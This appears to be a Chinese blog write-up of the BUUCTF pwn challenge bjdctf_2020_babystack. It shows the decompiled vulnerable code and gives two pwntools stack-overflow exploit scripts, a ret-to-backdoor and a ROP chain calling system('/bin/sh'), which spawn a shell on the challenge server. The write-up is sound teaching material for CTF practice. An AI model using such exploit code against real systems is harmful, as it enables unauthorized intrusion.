bjdctf_2020_babystack【BUUCTF】

37 篇文章 3 订阅

分析

在这里插入图片描述
基本没开保护,IDA分析发现main函数read函数存在漏洞,输入长度可自己选择,并且我们发现存在后门函数backdoor

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  size_t nbytes; // [rsp+Ch] [rbp-4h]
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf((__int64)"%d", (__int64)&nbytes);
  puts("[+]What's u name?");
  read(0, &buf, (unsigned int)nbytes);
  return 0;
  }
  signed __int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

gdb调试看填充空间:
在这里插入图片描述

解法1:使用后们函数进行攻击

from pwn import *

io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561
print backdoor
io.sendlineafter(b"Please input the length of your name:","100")
payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])

io.sendlineafter("What's u name?",payload)
io.interactive()

解法2:使用ret2libc进行攻击

在这里插入图片描述

from pwn import *
io = remote("node4.buuoj.cn",27380)
elf = ELF("./bjdctf_2020_babystack")
system_addr = elf.symbols["system"]
pop_rdi_ret = 0x400833
bin_sh_addr = 0x400858
io.sendlineafter("[+]Please input the length of your name:\n",str(100))
payload = b'A'*(16+8) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter("[+]What's u name?\n",payload)
io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值